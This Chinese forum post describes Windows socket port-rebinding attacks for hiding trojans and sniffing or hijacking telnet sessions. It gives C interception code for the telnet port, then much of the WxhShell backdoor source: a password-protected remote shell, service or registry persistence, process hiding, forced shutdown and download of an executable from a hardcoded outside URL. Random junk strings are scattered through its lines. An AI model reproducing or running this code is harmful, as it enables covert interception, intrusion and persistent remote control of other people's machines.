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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dd$\Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Iem* 'r  
N 4,w  
  saddr.sin_family = AF_INET; u2U@Qrs2  
f Z\Ev%F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fT'A{&h|U  
uYO?Rb&}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7 H<_ wW  
cJH7zumM)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (cA=~Bw[=  
S liF$}J  
  这意味着什么?意味着可以进行如下的攻击: VDQ&Bm JE  
LU%g>?m.]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `D GO~RMp9  
hr)TC-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !TG"AW  
1uD}V7_y"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6|9];)  
iOD9lR`s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )fCl<KG*  
w|$;$a7)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JXvHsCd?  
&=s{ +0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DpTQPu9  
TmUn/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s]=kD  
Y3-15:-  
  #include o]k[l ;  
  #include n}._Nb 5  
  #include (r7~ccy4  
  #include    cLB"<mG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +/UInAM  
  int main() Ya,>E@oc  
  { \W$>EH  
  WORD wVersionRequested; qP]Gl--q{  
  DWORD ret; ~}TVM%0RTq  
  WSADATA wsaData; 57r\s 8  
  BOOL val; \w`Il"}V  
  SOCKADDR_IN saddr; +LX&1GX  
  SOCKADDR_IN scaddr; ok[R`99  
  int err; .0s/O  
  SOCKET s; 9^jO^[>  
  SOCKET sc; [.6uw=;o  
  int caddsize; jPbL3"0A&  
  HANDLE mt; U8.DPRa  
  DWORD tid;   5@Rf]'1B0  
  wVersionRequested = MAKEWORD( 2, 2 ); KL -8Aj~  
  err = WSAStartup( wVersionRequested, &wsaData ); wGbD%=  
  if ( err != 0 ) { 7AtJ6  
  printf("error!WSAStartup failed!\n"); ]bX.w/=  
  return -1; b},OCVT?  
  } /S|Pq!4<  
  saddr.sin_family = AF_INET; W]reQ&<Z  
   eBBh/=Zc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7] ~'8  
B%r)~?6DM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LR`/pet  
  saddr.sin_port = htons(23); aP4r6lLv+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I-+D+DhRx  
  { WxIP~  
  printf("error!socket failed!\n"); !q$IB?8   
  return -1; L18Olu  
  } McA,  
  val = TRUE; @n})oAC,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d)q{s(<;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b}k`'++2,  
  { T\2cAW5  
  printf("error!setsockopt failed!\n"); @dO~0dF  
  return -1; Na [bCt  
  } "esV#%:#J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iUSs)[]H>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *UEo&B2+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 < v0 d8  
:a`l_RMU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YMm Fpy  
  { _D z4 }:9  
  ret=GetLastError(); q?\3m3GM  
  printf("error!bind failed!\n"); v bh\uv&  
  return -1; /A{znE  
  } ]Ub?Wo7F?  
  listen(s,2); Tw|=;m  
  while(1) -KO E2f  
  { 3D%I=p(  
  caddsize = sizeof(scaddr); X;zy1ZH  
  //接受连接请求 !9V_U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MbjH\XRB  
  if(sc!=INVALID_SOCKET) x+^iEj`gk  
  { /SP^fB*y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C+2*m=r  
  if(mt==NULL) O(wt[AEA  
  { Vx?a&{3]-  
  printf("Thread Creat Failed!\n"); .!=2#<  
  break; wVw3YIN#  
  } v')T^b F@  
  } ~ dmyS?Or  
  CloseHandle(mt); |?{Zx&yUw  
  } @u$4{sjgf\  
  closesocket(s); }0qgvw  
  WSACleanup(); N{oD1%  
  return 0; $FCLo8/=  
  }   T2^ @x9  
  DWORD WINAPI ClientThread(LPVOID lpParam) lZ E x0  
  { ar>S_VW*  
  SOCKET ss = (SOCKET)lpParam; g6 r3V.X'  
  SOCKET sc; / 1E6U6  
  unsigned char buf[4096]; rN_\tulOF  
  SOCKADDR_IN saddr; YHg4WW$  
  long num; C#vU'RNpl  
  DWORD val; kg9ZSkJr  
  DWORD ret; |P~TZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aq[kKS`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |<9 R%  
  saddr.sin_family = AF_INET; F8/4PB8-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q>= :$I  
  saddr.sin_port = htons(23); M0n@?S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 265df Y9Pu  
  { (w)Qt/P^4  
  printf("error!socket failed!\n"); JAc-5e4  
  return -1; ;R|5sCb/m  
  } 9?@M Zh  
  val = 100; -:>Mi5/ s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *7DQ#bD  
  { zjB8~ku#  
  ret = GetLastError(); dN;C-XF3s  
  return -1; &5c)qap;n  
  } WVp14Z?k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qKZ~)B j  
  { O,XVA  
  ret = GetLastError(); ^%*%=LJm  
  return -1; </Q<*@p?  
  } ,in`JM<o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l}K {=%U>7  
  { ,Cde5A{K  
  printf("error!socket connect failed!\n"); _q+H>1. &9  
  closesocket(sc); ~B|K]&/]  
  closesocket(ss); m03;'Nj'7#  
  return -1; AfFF u\  
  } _Su$oOy(Ea  
  while(1) D+#QQH  
  { #k5Nnv#(J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1kvBQ1+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O-5H7Kd-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [y64%|m  
  num = recv(ss,buf,4096,0); d#Ql>PrY  
  if(num>0) ,7z.%g3+z  
  send(sc,buf,num,0); bp;b;f>  
  else if(num==0) PzNk:O  
  break; ( *UMpdj  
  num = recv(sc,buf,4096,0); E0Ig/ j  
  if(num>0) UC\CCDV#^  
  send(ss,buf,num,0); ?0Z?Z3)%w4  
  else if(num==0) ST] h NM  
  break; Q4}2-}|  
  } :a nUr<  
  closesocket(ss); Z^>{bW  
  closesocket(sc); " :@5|4qK  
  return 0 ; $yLsuqB}  
  } cZPv6c_w  
#4DEb<D  
}e&   
========================================================== d 0$)Y|d>  
#-Ehg4W  
下边附上一个代码,,WXhSHELL +t,JCY6  
(Lp<T!"  
========================================================== ENr\+{{%  
-Wb/3 X  
#include "stdafx.h" i4JqU\((]  
<TC\Nb$~  
#include <stdio.h> I Bo)fE\O  
#include <string.h> (O"Wa  
#include <windows.h> x9p,j  
#include <winsock2.h> U# G0  
#include <winsvc.h> AKzhal!  
#include <urlmon.h> :Fm;0R@/k  
N/4`afiV.  
#pragma comment (lib, "Ws2_32.lib") )t0Y-),vA  
#pragma comment (lib, "urlmon.lib") H?m9HBDpn  
~$Xz~#~  
#define MAX_USER   100 // 最大客户端连接数 XcAx@CY9c  
#define BUF_SOCK   200 // sock buffer XFUlV;ek  
#define KEY_BUFF   255 // 输入 buffer )!s f@F?  
iLIH |P%  
#define REBOOT     0   // 重启 i<m1^a#C'  
#define SHUTDOWN   1   // 关机 ZQlja  
rB}Iwp8  
#define DEF_PORT   5000 // 监听端口 Lf4c[[@%gd  
&O/;YGEAB  
#define REG_LEN     16   // 注册表键长度 h;u8{t"  
#define SVC_LEN     80   // NT服务名长度 |$f.Qs~?  
&"p7X>bd  
// 从dll定义API >ZTRwy`_(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kn:X^mDXC/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?>92OuG%W?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^7G@CBic"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y(h86>z*w  
+fBbW::R^  
// wxhshell配置信息 S%uwQ!=O8  
struct WSCFG { ^_0zO$z,  
  int ws_port;         // 监听端口 VJ8cls<  
  char ws_passstr[REG_LEN]; // 口令 lyc ]E 9  
  int ws_autoins;       // 安装标记, 1=yes 0=no [K1RP.  
  char ws_regname[REG_LEN]; // 注册表键名 +*Y/+.4WE$  
  char ws_svcname[REG_LEN]; // 服务名 F=?0:2P0bD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b= amd*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4^/MDM@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jNd."[IrO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yr8 b?m.x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &66-0d+Sh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !YYI{BJ7:N  
pN|BtrN{  
}; =4+Wx8ZeW  
:08b&myx  
// default Wxhshell configuration #;4<dDVy  
struct WSCFG wscfg={DEF_PORT, D"UCe7  
    "xuhuanlingzhe", [CTE"@A  
    1, 2#%@j6  
    "Wxhshell", SM;UNIRVE  
    "Wxhshell", wK>a&`<  
            "WxhShell Service", us%dw&   
    "Wrsky Windows CmdShell Service", 2l^hnog|  
    "Please Input Your Password: ", T?B753I  
  1, 0' j/ 9vm  
  "http://www.wrsky.com/wxhshell.exe", m?G@#[ l  
  "Wxhshell.exe" O~D>F*_^j  
    }; YGFE(t;lPU  
2NMS '"8  
// 消息定义模块 >|Yr14?7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y:,Ro@H%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oM ey^]!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v o<'7,  
char *msg_ws_ext="\n\rExit."; pbc<326X"  
char *msg_ws_end="\n\rQuit."; T rK-XTev  
char *msg_ws_boot="\n\rReboot..."; wyWe2d  
char *msg_ws_poff="\n\rShutdown..."; jiw5>RNt  
char *msg_ws_down="\n\rSave to "; moz*=a  
`#J0@ -  
char *msg_ws_err="\n\rErr!"; sa6/$  
char *msg_ws_ok="\n\rOK!"; 4OX|pa  
7-S?\:J  
char ExeFile[MAX_PATH]; b{4@ ~>i  
int nUser = 0; %QYW0lE  
HANDLE handles[MAX_USER]; 2E7vuFH4c  
int OsIsNt; Ilf;Q(*$>>  
-|_#6-9  
SERVICE_STATUS       serviceStatus; "]H_;:{f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xb8S)zO]Q  
]c/k%] o~  
// 函数声明 1j4tR#L  
int Install(void); iR(=< >  
int Uninstall(void); \; #T.@c5  
int DownloadFile(char *sURL, SOCKET wsh); l5; SY  
int Boot(int flag); TQ hu$z<  
void HideProc(void); P)D2PVD  
int GetOsVer(void); R(.5Hs  
int Wxhshell(SOCKET wsl); PqUjBP\  
void TalkWithClient(void *cs); gu:8+/W8L  
int CmdShell(SOCKET sock); T)N_~f|  
int StartFromService(void); <yNu/B.M  
int StartWxhshell(LPSTR lpCmdLine); U0X,g(2'  
+hiskV@v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g_8A1lt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zH)M,+P  
vU(uu:U9  
// 数据结构和表定义 nev@ykP6  
SERVICE_TABLE_ENTRY DispatchTable[] = o,(]w kF  
{ cl,\N\  
{wscfg.ws_svcname, NTServiceMain}, =o_Ua^mr  
{NULL, NULL} ;YGCsLT<xt  
}; ^qR2!fwm<  
;-]' OiS;  
// 自我安装 ,/%@:Fh4  
int Install(void) SHcFnxEAIH  
{ cJ^{iOQ+  
  char svExeFile[MAX_PATH]; FUTD/y]Lu  
  HKEY key; 8_*31Y   
  strcpy(svExeFile,ExeFile); [T}Lq~  
]:"<if gp$  
// 如果是win9x系统,修改注册表设为自启动 LZR x>q^  
if(!OsIsNt) { .R";2f3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~9ZW~z'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "/ 9EUbca  
  RegCloseKey(key); Q vc$D{z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3fBV SFVS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =(aA`:Nl  
  RegCloseKey(key); qz_'v{uAj  
  return 0; _dQg5CmlG  
    } "O (N=|b  
  } sd m4zV]&  
} ),!1B%  
else { H\vd0DD;  
L|hoA9/]  
// 如果是NT以上系统,安装为系统服务 m.6O%jD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vf*Z}'  
if (schSCManager!=0) or<n[<D-C  
{ uCB>".'kM  
  SC_HANDLE schService = CreateService 3bU(ea^e$  
  ( Bz+zEXBC  
  schSCManager, R"2wop  
  wscfg.ws_svcname, %$Sm ei  
  wscfg.ws_svcdisp, fV(WUN+  
  SERVICE_ALL_ACCESS, n Y)H-u^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7$ze RYD+  
  SERVICE_AUTO_START, #Ch*a.tI@  
  SERVICE_ERROR_NORMAL, ~vPR9\e  
  svExeFile, {3LAK[ C  
  NULL, [C-4*qOaa2  
  NULL, .91@T.  
  NULL, 1SK|4Am  
  NULL, ybY[2g2QJ  
  NULL _GbwyfA n#  
  ); 3bN]2\   
  if (schService!=0) chC= $(5t  
  { _uf,7R-  
  CloseServiceHandle(schService); DWwPid} "  
  CloseServiceHandle(schSCManager); 'W_u1l/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F $6JzF$|F  
  strcat(svExeFile,wscfg.ws_svcname); Mil+> X0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3QF/{$65!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ip_deP@  
  RegCloseKey(key); ]I^b&N  
  return 0; I%<LLkQ  
    } l^k/Y ]  
  } iwVsq_[]L  
  CloseServiceHandle(schSCManager); yQz6K6p  
} ;Pw\p^wz  
} $p;<1+!  
:3N&&]  
return 1; AY x*Ngn  
} P]^ BE;7T  
@{q:179w^  
// 自我卸载 uB1>.Pvxb  
int Uninstall(void) Wc HL:38  
{ y>! 8mDvZ  
  HKEY key; (ebC80M  
`EdZ  
if(!OsIsNt) { q).[" fSV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q]2t3aY%  
  RegDeleteValue(key,wscfg.ws_regname); S HxD(6  
  RegCloseKey(key); X/BcS[a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kMx^L;:n  
  RegDeleteValue(key,wscfg.ws_regname); @>Bgld&vl  
  RegCloseKey(key); dTrz7ayH  
  return 0; [,0[\NC  
  } xf4CM,Z7(  
} =THRy ZCH  
} oAprM Z 7Y  
else { MUW&m2  
=kP|TR!o-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6* 6 |R93  
if (schSCManager!=0) %M5{-pJ|C  
{ +(U;+6 b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); csjCXT=Ve  
  if (schService!=0) <N(r -  
  { >[0t@Tu,D  
  if(DeleteService(schService)!=0) { *8Kx y@  
  CloseServiceHandle(schService); vdaG?+_o  
  CloseServiceHandle(schSCManager); f2iA5 rCV]  
  return 0; #V$h?`qhwr  
  } up!54}qy  
  CloseServiceHandle(schService); 8G )O,F7z  
  } Ud& '*,  
  CloseServiceHandle(schSCManager); ^61;0   
} wx*03(|j;  
} /<VR-yr  
 SH6+'7  
return 1; 5ktFL<^5T  
} JUCp#[q  
&dky_H  
// 从指定url下载文件 6o)RsxN eu  
int DownloadFile(char *sURL, SOCKET wsh) ) #l&BV5  
{ -P:o ^_)g  
  HRESULT hr; S;^'Ek"Z.  
char seps[]= "/"; @%"r69\  
char *token; LsxRK5   
char *file; {\vcwMUzZ  
char myURL[MAX_PATH]; L_sDbAT~<  
char myFILE[MAX_PATH]; 7e:eL5f>~  
E_ D0Nm%n  
strcpy(myURL,sURL); m*'hHt n  
  token=strtok(myURL,seps); 'm^]X3y*  
  while(token!=NULL) {YK7';_E*  
  { +z|@K=d#|  
    file=token; qM18 Ji*  
  token=strtok(NULL,seps); #b9V&/ln  
  } Mc~L%5  
yu}yON  
GetCurrentDirectory(MAX_PATH,myFILE); =p2: qSV  
strcat(myFILE, "\\"); cV4]Y(9  
strcat(myFILE, file); 3gv@JGt7`  
  send(wsh,myFILE,strlen(myFILE),0); tx7B?/5D  
send(wsh,"...",3,0); {BY(zsl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %n^ugm0B  
  if(hr==S_OK) *. 1S  
return 0; Le V";=_n  
else 7/zaf  
return 1; @TJ2 |_s6]  
8?N![D\@  
} sSy!mtS  
&!F"3bD0  
// 系统电源模块 WH_ W:  
int Boot(int flag) i ?%_P u  
{ watTV\b  
  HANDLE hToken; dUL*~%2I  
  TOKEN_PRIVILEGES tkp; FQ>y2n=<d  
9]vy#a#  
  if(OsIsNt) { ^'p!#\T;H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zF@[S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M#k$[w}=  
    tkp.PrivilegeCount = 1; xW|8-q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4\E1M[6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u'T?e+=  
if(flag==REBOOT) { 4_-L1WH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LP'~7FG  
  return 0; K;ocs?rk/  
} 7J1f$5$m5  
else { O%f{\Fr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UPy 4ST  
  return 0; K'f^=bc I  
} I;9C":'#  
  } sI MN""@Y^  
  else { P@5}}vwS  
if(flag==REBOOT) { lnGg1/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D*/fY=gK  
  return 0; g:s|D hE[  
} E/<n"'0ek  
else { [!#}#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G- |  
  return 0; 67Ev$a_d"  
} D?FmlDTr[  
} pVM1%n:#  
*v$j n  
return 1; _*cKu>,O  
} N/eus"O;  
" {X0&  
// win9x进程隐藏模块 @&x'.2[nv  
void HideProc(void) LYr9a(  
{ ; xL8W  
EE*|#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r4ljA@L  
  if ( hKernel != NULL ) u2OrH3E4E3  
  { 26p_fKY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y@SI)&D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); klMpiy  
    FreeLibrary(hKernel); KGGnypx`  
  } 6tGF  
rk47 $36X  
return; )NK#}c~5  
} x)pR^t7u8  
=y>CO:^G%  
// 获取操作系统版本 \Xe{vlo>h  
int GetOsVer(void) r$<M*z5q(\  
{ G#~U\QlG-  
  OSVERSIONINFO winfo; 3:)_oHq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %)Z,?DzZ  
  GetVersionEx(&winfo); Res4;C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5j v*C]z  
  return 1; %f?Zg44  
  else N_G84wxx  
  return 0; a)L|kux;l  
} F2{SC?U  
hu >wcOt  
// 客户端句柄模块 #ro$$I;  
int Wxhshell(SOCKET wsl) 4];>O  
{ lavy?tFer  
  SOCKET wsh; $1FnjL5u  
  struct sockaddr_in client; BC5R$W. e  
  DWORD myID; OdO n wY  
/([a%,DI  
  while(nUser<MAX_USER) ^M\X/uq$E  
{ \}\# fg  
  int nSize=sizeof(client); O`I}Lg]~q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~~O4!|t  
  if(wsh==INVALID_SOCKET) return 1; ,fhF-%Q!g  
`(DHa=s1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mM~&mAa+Z  
if(handles[nUser]==0) I%($,kd}s  
  closesocket(wsh); U5OFw+J  
else #M<YNuE#"  
  nUser++; F'"-aB ~  
  } S;u.Ds&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4 9HP2E  
8Zy*#[-  
  return 0; hgbf"J6V8  
} \6bvk _  
}|&^Sg%95  
// 关闭 socket ^*+j7A.n  
void CloseIt(SOCKET wsh) EPA 2_  
{ mwMu1#  
closesocket(wsh); 4`Zo Ar-5|  
nUser--; WJI}~/z;C  
ExitThread(0); .Yvy37n((  
} t 1~k+  
,tDLpnB@;  
// 客户端请求句柄 pMY7{z  
void TalkWithClient(void *cs) [XH,~JZJj  
{ CpK:u! Dn  
IwOL1\'T4  
  SOCKET wsh=(SOCKET)cs; (N/-blto  
  char pwd[SVC_LEN]; x iz+ R9p  
  char cmd[KEY_BUFF]; p&#ju*i6z  
char chr[1]; 6pt|Crvu  
int i,j; R+!oPWfb  
m 2/S(f  
  while (nUser < MAX_USER) { Udf\;G@  
9Z f  
if(wscfg.ws_passstr) { :hcOceNz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]1eZ<le`6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K:% MhH-  
  //ZeroMemory(pwd,KEY_BUFF); auqN8_+=  
      i=0; \t`VqJLyu  
  while(i<SVC_LEN) { I8 [ *  
{=,G>p  
  // 设置超时 df {\O* 6  
  fd_set FdRead; Ujqnl>l  
  struct timeval TimeOut; /Dyig  
  FD_ZERO(&FdRead); \Ui8gDJ8y5  
  FD_SET(wsh,&FdRead); )T?BO  
  TimeOut.tv_sec=8; OH@gwC  
  TimeOut.tv_usec=0; 2Nx:Y+[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9P,[MZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JG&E"j#q  
6`%|-o :  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LpI4R  
  pwd=chr[0]; Z [l+{  
  if(chr[0]==0xd || chr[0]==0xa) { bKsEXS  
  pwd=0; `Y+ R9bd  
  break; Dx=RLiU9  
  } 1r*yYm'  
  i++; s&+`>  
    } q(WGvl^r  
 Lsai8 B  
  // 如果是非法用户,关闭 socket |eg8F$WU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UtC<TBr  
} X\w["! B  
1f 1D^|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v~W ;&{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qx9; "Ut  
c<~DYe;;  
while(1) { mkPqxzxbrL  
MiKq|  
  ZeroMemory(cmd,KEY_BUFF); M= |is*t  
`c|H^*RC  
      // 自动支持客户端 telnet标准   Z0O0Q=e\Y  
  j=0; VC_F Cz  
  while(j<KEY_BUFF) { =v!Z8zk=W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8kr$w$=q  
  cmd[j]=chr[0]; XiV K4sD8  
  if(chr[0]==0xa || chr[0]==0xd) { b6H7>x  
  cmd[j]=0; Ao*:$:k  
  break; XR p60i6f  
  } lqgR4  !  
  j++; 2^75|Q  
    } TKbfZw  
Tr4\ `a-i  
  // 下载文件 Yt{Z+.;9OI  
  if(strstr(cmd,"http://")) { n5efHJU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L?P[{Ohh/  
  if(DownloadFile(cmd,wsh)) ^|vP").aQm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fp"c {  
  else 9b&;4Yq!f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \VI0/G)L  
  } lp5'-Jo  
  else { k^cnNx  
O'xp"e,  
    switch(cmd[0]) { =3rf}bl2  
  :oYSvK7>  
  // 帮助 3q@H8%jcw  
  case '?': { Xr4k]'Mg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s jaaZx1  
    break; <lU(9) L;&  
  } R#?atL$(  
  // 安装 F9tWJJUsr  
  case 'i': { DHyQ:0q  
    if(Install()) T-lP=KF=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uq x@9z(  
    else oK<H/76x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +z#+}'mT%  
    break; *lu*h&Y  
    } l}T@Cgt  
  // 卸载 beT[7uVj_  
  case 'r': { :/Z1$xS  
    if(Uninstall()) 0B2f[A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "4T36b  
    else s<:) ;-tL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &oJ[ *pQ  
    break; a@9W'/?igk  
    } |mdf u=  
  // 显示 wxhshell 所在路径 0R0_UvsXU  
  case 'p': { n$h+_xN  
    char svExeFile[MAX_PATH]; \ f VX<L  
    strcpy(svExeFile,"\n\r"); ^JY:$)4["  
      strcat(svExeFile,ExeFile); .b!HEi<F  
        send(wsh,svExeFile,strlen(svExeFile),0); ti]8_vP}*  
    break; teLZplC=f  
    } 5p-vSWr !  
  // 重启 +# !?+'A  
  case 'b': { BLt_(S?Z`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (JE&1 @  
    if(Boot(REBOOT)) usu{1&g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q[Ey!h)xq  
    else { zW hzU|=8  
    closesocket(wsh); aW;)-0+  
    ExitThread(0); t-iQaobF  
    } _`laP5~  
    break; .vIRz-S  
    } &$#NV@  
  // 关机 vfVF^ WOd  
  case 'd': { )7AjRtb!/  
